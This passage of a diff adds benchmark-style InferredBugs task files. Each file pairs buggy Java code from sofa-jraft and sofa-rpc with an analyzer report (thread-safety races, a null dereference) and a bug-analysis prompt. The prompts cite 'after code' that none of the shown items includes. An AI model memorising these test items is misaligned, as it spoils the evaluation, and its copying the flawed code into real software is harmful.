+BoltSession.java|sendNextRpc|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+70c5f4c43e96caaf51f3b3d8d4c71ce0
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9243/instruction.md b/inferredbugs-9243/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..606cc91889da8ffe554408131a22b88ee4cab7ac
--- /dev/null
+++ b/inferredbugs-9243/instruction.md
@@ -0,0 +1,379 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.storage.snapshot.remote;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import javax.annotation.concurrent.ThreadSafe;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.core.TimerManager;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.option.CopyOptions;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.GetFileRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.GetFileResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.SnapshotThrottle;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.Endpoint;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.Utils;
+import com.google.protobuf.Message;
+
+/**
+ * Copy session based on bolt framework.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-08 12:01:23 PM
+ */
+@ThreadSafe
+public class BoltSession implements Session {
+
+    private static final Logger          LOG  = LoggerFactory.getLogger(BoltSession.class);
+
+    private final Lock                   lock;
+    private final Status                 st;
+    private final RaftClientService      rpcService;
+    private int                          retryTimes;
+    private boolean                      finished;
+    private ByteBufferCollector          destBuf;
+    private CopyOptions                  copyOptions;
+    private GetFileRequest.Builder       requestBuilder;
+    private final CountDownLatch         finishLatch;
+    private OutputStream                 outputStream;
+    private final Endpoint               endpoint;
+    private final GetFileResponseClosure done = new GetFileResponseClosure();
+    private ScheduledFuture<?>           timer;
+    private String                       destPath;
+    private final RaftOptions            raftOptions;
+    private Future<Message>              rpcCall;
+    private final TimerManager           timerManager;
+    private final SnapshotThrottle       snapshotThrottle;
+
+    /**
+     * Get file response closure to answer client.
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-13 4:50:21 PM
+     */
+    private class GetFileResponseClosure extends RpcResponseClosureAdapter<GetFileResponse> {
+
+        @Override
+        public void run(Status status) {
+            onRpcReturned(status, getResponse());
+        }
+
+    }
+
+    public void setDestPath(String destPath) {
+        this.destPath = destPath;
+    }
+
+    @OnlyForTest
+    GetFileResponseClosure getDone() {
+        return this.done;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcCall() {
+        return this.rpcCall;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getTimer() {
+        return this.timer;
+    }
+
+    @Override
+    public void close() throws IOException {
+        lock.lock();
+        try {
+            if (!this.finished) {
+                Utils.closeQuietly(this.outputStream);
+            }
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    public BoltSession(RaftClientService rpcService, TimerManager timerManager, SnapshotThrottle snapshotThrottle,
+                       RaftOptions raftOptions, GetFileRequest.Builder rb, Endpoint ep) {
+        super();
+        this.snapshotThrottle = snapshotThrottle;
+        this.raftOptions = raftOptions;
+        this.timerManager = timerManager;
+        this.rpcService = rpcService;
+        this.requestBuilder = rb;
+        this.retryTimes = 0;
+        this.copyOptions = new CopyOptions();
+        this.lock = new ReentrantLock();
+        this.endpoint = ep;
+        this.st = Status.OK();
+        this.finishLatch = new CountDownLatch(1);
+
+    }
+
+    public void setDestBuf(ByteBufferCollector bufRef) {
+        this.destBuf = bufRef;
+    }
+
+    public void setCopyOptions(CopyOptions copyOptions) {
+        this.copyOptions = copyOptions;
+    }
+
+    public void setOutputStream(OutputStream out) {
+        this.outputStream = out;
+    }
+
+    @Override
+    public void cancel() {
+        lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            if (this.timer != null) {
+                this.timer.cancel(true);
+            }
+            if (this.rpcCall != null) {
+                this.rpcCall.cancel(true);
+            }
+            if (st.isOk()) {
+                st.setError(RaftError.ECANCELED, RaftError.ECANCELED.name());
+            }
+
+            this.onFinished();
+        } finally {
+            lock.unlock();
+        }
+
+    }
+
+    @Override
+    public void join() throws InterruptedException {
+        this.finishLatch.await();
+    }
+
+    @Override
+    public Status status() {
+        return st;
+    }
+
+    private void onFinished() {
+        if (!this.finished) {
+            if (outputStream != null) {
+                Utils.closeQuietly(this.outputStream);
+                this.outputStream = null;
+            }
+            if (this.destBuf != null) {
+                final ByteBuffer buf = this.destBuf.getBuffer();
+                if (buf != null) {
+                    buf.flip();
+                }
+                this.destBuf = null;
+            }
+            this.finished = true;
+            this.finishLatch.countDown();
+        }
+    }
+
+    private void onTimer() {
+        Utils.runInThread(this::sendNextRpc);
+    }
+
+    void onRpcReturned(Status status, GetFileResponse response) {
+        lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            if (!status.isOk()) {
+                // Reset count to make next rpc retry the previous one
+                requestBuilder.setCount(0);
+                if (status.getCode() == RaftError.ECANCELED.getNumber()) {
+                    if (st.isOk()) {
+                        st.setError(status.getCode(), status.getErrorMsg());
+                        this.onFinished();
+                        return;
+                    }
+                }
+
+                // Throttled reading failure does not increase _retry_times
+                if (status.getCode() != RaftError.EAGAIN.getNumber()
+                    && ++this.retryTimes >= this.copyOptions.getMaxRetry()) {
+                    if (st.isOk()) {
+                        st.setError(status.getCode(), status.getErrorMsg());
+                        this.onFinished();
+                        return;
+                    }
+                }
+                this.timer = this.timerManager.schedule(this::onTimer, this.copyOptions.getRetryIntervalMs(),
+                        TimeUnit.MILLISECONDS);
+                return;
+            }
+            this.retryTimes = 0;
+            Requires.requireNonNull(response, "response");
+            // Reset count to |real_read_size| to make next rpc get the right offset
+            if (response.hasReadSize() && response.getReadSize() != 0) {
+                this.requestBuilder.setCount(response.getReadSize());
+            }
+            if (outputStream != null) {
+                try {
+                    response.getData().writeTo(outputStream);
+                } catch (final IOException e) {
+                    LOG.error("Fail to write into file {}", this.destPath);
+                    st.setError(RaftError.EIO, RaftError.EIO.name());
+                    this.onFinished();
+                    return;
+                }
+            } else {
+                final byte[] data = response.getData().toByteArray();
+                this.destBuf.put(data);
+            }
+            if (response.getEof()) {
+                onFinished();
+                return;
+            }
+        } finally {
+            lock.unlock();
+        }
+        this.sendNextRpc();
+    }
+
+    /**
+     * Send next RPC request to get a piece of file data.
+     */
+    void sendNextRpc() {
+        this.timer = null;
+        final long offset = requestBuilder.getOffset() + requestBuilder.getCount();
+        final long maxCount = this.destBuf == null ? raftOptions.getMaxByteCountPerRpc() : Integer.MAX_VALUE;
+        this.requestBuilder = requestBuilder.setOffset(offset).setCount(maxCount).setReadPartly(true);
+        this.lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            // throttle
+            long newMaxCount = maxCount;
+            if (this.snapshotThrottle != null) {
+                newMaxCount = snapshotThrottle.throttledByThroughput(maxCount);
+                if (newMaxCount == 0) {
+                    // Reset count to make next rpc retry the previous one
+                    this.requestBuilder.setCount(0);
+                    this.timer = this.timerManager.schedule(this::onTimer, this.copyOptions.getRetryIntervalMs(),
+                            TimeUnit.MILLISECONDS);
+                    return;
+                }
+            }
+            this.requestBuilder.setCount(newMaxCount);
+            LOG.debug("Send get file request {} to peer {}", this.requestBuilder.build(), this.endpoint);
+            this.rpcCall = this.rpcService.getFile(endpoint, this.requestBuilder.build(),
+                this.copyOptions.getTimeoutMs(), done);
+        } finally {
+            lock.unlock();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.sendNextRpc` reads with synchronization from `this.com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.requestBuilder`. Potentially races with unsynchronized write in method `BoltSession.sendNextRpc()`.
+ Reporting because the current class is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BoltSession.sendNextRpc()
+
+### Procedure Id:
+com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.sendNextRpc():void.df8bf8734eb44ec2bca56be19a43f342
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/storage/snapshot/remote/BoltSession.java
+
+### Key:
+BoltSession.java|sendNextRpc|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+957bce773212146be898a98bed0dd1af
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9272/instruction.md b/inferredbugs-9272/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0bab4fc1e8ea6da4ebe0f518960a488f385ef4a6
--- /dev/null
+++ b/inferredbugs-9272/instruction.md
@@ -0,0 +1,256 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.hystrix;
+
+import com.alipay.sofa.rpc.common.utils.ClassUtils;
+import com.alipay.sofa.rpc.config.ConsumerConfig;
+import com.alipay.sofa.rpc.context.RpcInternalContext;
+import com.alipay.sofa.rpc.context.RpcInvokeContext;
+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.core.exception.SofaTimeOutException;
+import com.alipay.sofa.rpc.core.request.SofaRequest;
+import com.alipay.sofa.rpc.core.response.SofaResponse;
+import com.alipay.sofa.rpc.filter.FilterInvoker;
+import com.alipay.sofa.rpc.log.Logger;
+import com.alipay.sofa.rpc.log.LoggerFactory;
+import com.alipay.sofa.rpc.message.ResponseFuture;
+import com.netflix.hystrix.HystrixCommand;
+import com.netflix.hystrix.HystrixEventType;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * {@link HystrixCommand} for async requests
+ *
+ * @author <a href=mailto:scienjus@gmail.com>ScienJus</a>
+ */
+public class SofaAsyncHystrixCommand extends HystrixCommand implements SofaHystrixInvokable {
+
+    private static final Logger               LOGGER               = LoggerFactory
+                                                                       .getLogger(SofaAsyncHystrixCommand.class);
+
+    private static final long                 DEFAULT_LOCK_TIMEOUT = 1000;
+
+    private final FilterInvoker               invoker;
+
+    private final SofaRequest                 request;
+
+    private final RpcInternalContext          rpcInternalContext;
+
+    private final RpcInvokeContext            rpcInvokeContext;
+
+    private final CountDownLatch              lock                 = new CountDownLatch(1);
+
+    private final List<SofaAsyncHystrixEvent> events               = new ArrayList<SofaAsyncHystrixEvent>();
+
+    private SofaResponse                      sofaResponse;
+
+    public SofaAsyncHystrixCommand(FilterInvoker invoker, SofaRequest request) {
+        super(SofaHystrixConfig.loadSetterFactory((ConsumerConfig) invoker.getConfig()).createSetter(invoker,
+            request));
+        this.rpcInternalContext = RpcInternalContext.peekContext();
+        this.rpcInvokeContext = RpcInvokeContext.peekContext();
+        this.invoker = invoker;
+        this.request = request;
+    }
+
+    @Override
+    public SofaResponse invoke() {
+        if (isCircuitBreakerOpen() && LOGGER.isWarnEnabled(invoker.getConfig().getAppName())) {
+            LOGGER.warnWithApp(invoker.getConfig().getAppName(), "Circuit Breaker is opened, method: {}#{}",
+                invoker.getConfig().getInterfaceId(), request.getMethodName());
+        }
+        HystrixResponseFuture delegate = new HystrixResponseFuture(this.queue());
+        try {
+            boolean finished = lock.await(getLockTimeout(), TimeUnit.MILLISECONDS);
+            if (!finished && !this.isExecutionComplete()) {
+                throw new SofaTimeOutException(
+                    "Asynchronous execution timed out, please check Hystrix configuration. Events: " +
+                        getExecutionEventsString());
+            }
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+        }
+        RpcInternalContext.getContext().setFuture(delegate);
+        if (this.sofaResponse == null) {
+            this.sofaResponse = buildEmptyResponse(request);
+        }
+        return this.sofaResponse;
+    }
+
+    @Override
+    protected Object run() throws Exception {
+        events.add(SofaAsyncHystrixEvent.EMIT);
+        RpcInternalContext.setContext(rpcInternalContext);
+        RpcInvokeContext.setContext(rpcInvokeContext);
+
+        this.sofaResponse = invoker.invoke(request);
+        ResponseFuture responseFuture = RpcInternalContext.getContext().getFuture();
+        lock.countDown();
+        events.add(SofaAsyncHystrixEvent.INVOKE_UNLOCKED);
+        try {
+            return responseFuture.get();
+        } finally {
+            events.add(SofaAsyncHystrixEvent.INVOKE_SUCCESS);
+        }
+    }
+
+    @Override
+    protected Object getFallback() {
+        events.add(SofaAsyncHystrixEvent.FALLBACK_EMIT);
+        if (lock.getCount() > 0) {
+            // > 0 说明 run 方法没有执行，或是执行时立刻失败了
+            this.sofaResponse = buildEmptyResponse(request);
+            lock.countDown();
+            events.add(SofaAsyncHystrixEvent.FALLBACK_UNLOCKED);
+        }
+        FallbackFactory fallbackFactory = SofaHystrixConfig.loadFallbackFactory((ConsumerConfig) invoker.getConfig());
+        if (fallbackFactory == null) {
+            return super.getFallback();
+        }
+        Object fallback = fallbackFactory.create(null, this.getExecutionException());
+        if (fallback == null) {
+            return super.getFallback();
+        }
+        try {
+            return request.getMethod().invoke(fallback, request.getMethodArgs());
+        } catch (IllegalAccessException e) {
+            throw new SofaRpcRuntimeException("Hystrix fallback method failed to execute.", e);
+        } catch (InvocationTargetException e) {
+            throw new SofaRpcRuntimeException("Hystrix fallback method failed to execute.",
+                e.getTargetException());
+        } finally {
+            events.add(SofaAsyncHystrixEvent.FALLBACK_SUCCESS);
+        }
+    }
+
+    // Copy from AbstractCluster#buildEmptyResponse
+    private SofaResponse buildEmptyResponse(SofaRequest request) {
+        SofaResponse response = new SofaResponse();
+        Method method = request.getMethod();
+        if (method != null) {
+            response.setAppResponse(ClassUtils.getDefaultPrimitiveValue(method.getReturnType()));
+        }
+        return response;
+    }
+
+    private long getLockTimeout() {
+        if (this.getProperties().executionTimeoutEnabled().get()) {
+            return this.getProperties().executionTimeoutInMilliseconds().get();
+        }
+        return DEFAULT_LOCK_TIMEOUT;
+    }
+
+    private String getExecutionEventsString() {
+        List<HystrixEventType> executionEvents = getExecutionEvents();
+        if (executionEvents == null) {
+            executionEvents = Collections.emptyList();
+        }
+        StringBuilder message = new StringBuilder("[");
+        for (HystrixEventType executionEvent : executionEvents) {
+            message.append(HystrixEventType.class.getSimpleName()).append("#").append(executionEvent.name())
+                .append(",");
+        }
+        for (SofaAsyncHystrixEvent event : events) {
+            message.append(SofaAsyncHystrixEvent.class.getSimpleName()).append("#").append(event.name()).append(",");
+        }
+        if (message.length() > 1) {
+            message.deleteCharAt(message.length() - 1);
+        }
+        return message.append("]").toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `SofaAsyncHystrixCommand.request.getMethod()` could be null and is dereferenced at line 136.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object SofaAsyncHystrixCommand.getFallback()
+
+### Procedure Id:
+com.alipay.sofa.rpc.hystrix.SofaAsyncHystrixCommand.getFallback():java.lang.Object.0895e8ecf8af6fc8f2f80e45d0c6ddf0
+
+### File:
+extension-impl/fault-hystrix/src/main/java/com/alipay/sofa/rpc/hystrix/SofaAsyncHystrixCommand.java
+
+### Key:
+SofaAsyncHystrixCommand.java|getFallback|NULL_DEREFERENCE
+
+### Node Key:
+bf8329e96fa3e9f24edd2b191dde4cd0
+
+### Hash:
+ec2672283709ce4e2630d278d4cea9d4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9273/instruction.md b/inferredbugs-9273/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..28cb04a0549e7e130fe7e3ee28edec0d514be523
--- /dev/null
+++ b/inferredbugs-9273/instruction.md
@@ -0,0 +1,308 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.server.rest;
+
+import com.alipay.sofa.rpc.common.utils.CommonUtils;
+import com.alipay.sofa.rpc.config.JAXRSProviderManager;
+import com.alipay.sofa.rpc.config.ProviderConfig;
+import com.alipay.sofa.rpc.config.ServerConfig;
+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.ext.Extension;
+import com.alipay.sofa.rpc.invoke.Invoker;
+import com.alipay.sofa.rpc.log.Logger;
+import com.alipay.sofa.rpc.log.LoggerFactory;
+import com.alipay.sofa.rpc.server.Server;
+import org.jboss.resteasy.spi.PropertyInjector;
+import org.jboss.resteasy.spi.ResteasyDeployment;
+import org.jboss.resteasy.spi.ResteasyProviderFactory;
+
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Rest server base on resteasy.
+ *
+ * @author <a href="mailto:zhanggeng.zg@antfin.com">GengZhang</a>
+ */
+@Extension("rest")
+public class RestServer implements Server {
+
+    /**
+     * Logger
+     */
+    private static final Logger    LOGGER     = LoggerFactory.getLogger(RestServer.class);
+
+    /**
+     * 是否已经启动
+     */
+    protected volatile boolean     started;
+
+    /**
+     * Bolt服务端
+     */
+    protected SofaNettyJaxrsServer httpServer;
+
+    /**
+     * 服务端配置
+     */
+    protected ServerConfig         serverConfig;
+
+    /**
+     * invoker数量
+     */
+    protected AtomicInteger        invokerCnt = new AtomicInteger();
+
+    @Override
+    public void init(ServerConfig serverConfig) {
+        this.serverConfig = serverConfig;
+    }
+
+    private SofaNettyJaxrsServer buildServer() {
+        // 生成Server对象
+        SofaNettyJaxrsServer httpServer = new SofaNettyJaxrsServer(serverConfig);
+
+        int bossThreads = serverConfig.getIoThreads();
+        if (bossThreads > 0) {
+            httpServer.setIoWorkerCount(bossThreads); // 其实是boss+worker线程 默认cpu*2
+        }
+        httpServer.setExecutorThreadCount(serverConfig.getMaxThreads()); // 业务线程
+        httpServer.setMaxRequestSize(serverConfig.getPayload());
+        httpServer.setHostname(serverConfig.getBoundHost());
+        httpServer.setPort(serverConfig.getPort());
+
+        ResteasyDeployment resteasyDeployment = httpServer.getDeployment();
+        resteasyDeployment.start();
+
+        ResteasyProviderFactory providerFactory = resteasyDeployment.getProviderFactory();
+        registerProvider(providerFactory);
+
+        return httpServer;
+    }
+
+    private void registerProvider(ResteasyProviderFactory providerFactory) {
+        // 注册内置
+        Set<Class> internalProviderClasses = JAXRSProviderManager.getInternalProviderClasses();
+        if (CommonUtils.isNotEmpty(internalProviderClasses)) {
+            for (Class providerClass : internalProviderClasses) {
+                providerFactory.register(providerClass);
+            }
+        }
+        // 注册自定义
+        Set<Object> customProviderInstances = JAXRSProviderManager.getCustomProviderInstances();
+        if (CommonUtils.isNotEmpty(customProviderInstances)) {
+            for (Object provider : customProviderInstances) {
+                PropertyInjector propertyInjector = providerFactory.getInjectorFactory()
+                    .createPropertyInjector(
+                        JAXRSProviderManager.getTargetClass(provider), providerFactory);
+                propertyInjector.inject(provider);
+                providerFactory.registerProviderInstance(provider);
+            }
+        }
+
+        if (LOGGER.isDebugEnabled()) {
+            Set pcs = providerFactory.getProviderClasses();
+            StringBuilder sb = new StringBuilder();
+            sb.append("\ndefault-providers:\n");
+
+            for (Object provider : pcs) {
+                sb.append("  ").append(provider).append("\n");
+            }
+            LOGGER.debug(sb.toString());
+        }
+    }
+
+    @Override
+    public void start() {
+        if (started) {
+            return;
+        }
+        synchronized (this) {
+            if (started) {
+                return;
+            }
+            // 绑定到端口
+            try {
+                httpServer = buildServer();
+                httpServer.start();
+                if (LOGGER.isInfoEnabled()) {
+                    LOGGER.info("Start the http rest server at port {}", serverConfig.getPort());
+                }
+            } catch (Exception e) {
+                throw new SofaRpcRuntimeException(
+                    "Failed to start jetty server at port " + serverConfig.getPort() + ", cause: " + e.getMessage(), e);
+            }
+            started = true;
+        }
+    }
+
+    @Override
+    public boolean isStarted() {
+        return started;
+    }
+
+    @Override
+    public boolean hasNoEntry() {
+        return false;
+    }
+
+    @Override
+    public void stop() {
+        if (!started) {
+            return;
+        }
+        try {
+            // 关闭端口，不关闭线程池
+            if (LOGGER.isInfoEnabled()) {
+                LOGGER.info("Stop the http rest server at port {}", serverConfig.getPort());
+            }
+            httpServer.stop();
+            httpServer = null;
+        } catch (Exception e) {
+            LOGGER.error("Stop the http rest server at port " + serverConfig.getPort() + " error !", e);
+        }
+        started = false;
+    }
+
+    @Override
+    public void registerProcessor(ProviderConfig providerConfig, Invoker instance) {
+        if (!isStarted()) {
+            start();
+        }
+        // 在httpserver中注册此jaxrs服务
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Register jaxrs service to base url http://" + serverConfig.getHost() + ":"
+                + serverConfig.getPort() + serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .addResourceFactory(new SofaResourceFactory(providerConfig), serverConfig.getContextPath());
+
+            invokerCnt.incrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Register jaxrs service error", e);
+        }
+    }
+
+    @Override
+    public void unRegisterProcessor(ProviderConfig providerConfig, boolean closeIfNoEntry) {
+        if (!isStarted()) {
+            return;
+        }
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Unregister jaxrs service to port {} and base path is {}", serverConfig.getPort(),
+                serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .removeRegistrations(providerConfig.getRef().getClass(), serverConfig.getContextPath());
+            invokerCnt.decrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Unregister jaxrs service error", e);
+        }
+        // 如果最后一个需要关闭，则关闭
+        if (closeIfNoEntry && invokerCnt.get() == 0) {
+            stop();
+        }
+    }
+
+    @Override
+    public void destroy() {
+        stop();
+    }
+
+    @Override
+    public void destroy(DestroyHook hook) {
+        hook.preDestroy();
+        destroy();
+        hook.postDestroy();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alipay.sofa.rpc.server.rest.RestServer.destroy` indirectly writes to field `this.com.alipay.sofa.rpc.server.rest.RestServer.httpServer` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RestServer.destroy()
+
+### Procedure Id:
+com.alipay.sofa.rpc.server.rest.RestServer.destroy():void.cffa6af9229bc49ccb74cf4721f387a2
+
+### File:
+extension-impl/remoting-resteasy/src/main/java/com/alipay/sofa/rpc/server/rest/RestServer.java
+
+### Key:
+RestServer.java|destroy|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f4b027a4c2ce6b53a5bd905ed4d39515
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9274/instruction.md b/inferredbugs-9274/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..382bc00cbd6476f227c89d8d7ad204a5439e00dc
--- /dev/null
+++ b/inferredbugs-9274/instruction.md
@@ -0,0 +1,308 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.server.rest;
+
+import com.alipay.sofa.rpc.common.utils.CommonUtils;
+import com.alipay.sofa.rpc.config.JAXRSProviderManager;
+import com.alipay.sofa.rpc.config.ProviderConfig;
+import com.alipay.sofa.rpc.config.ServerConfig;
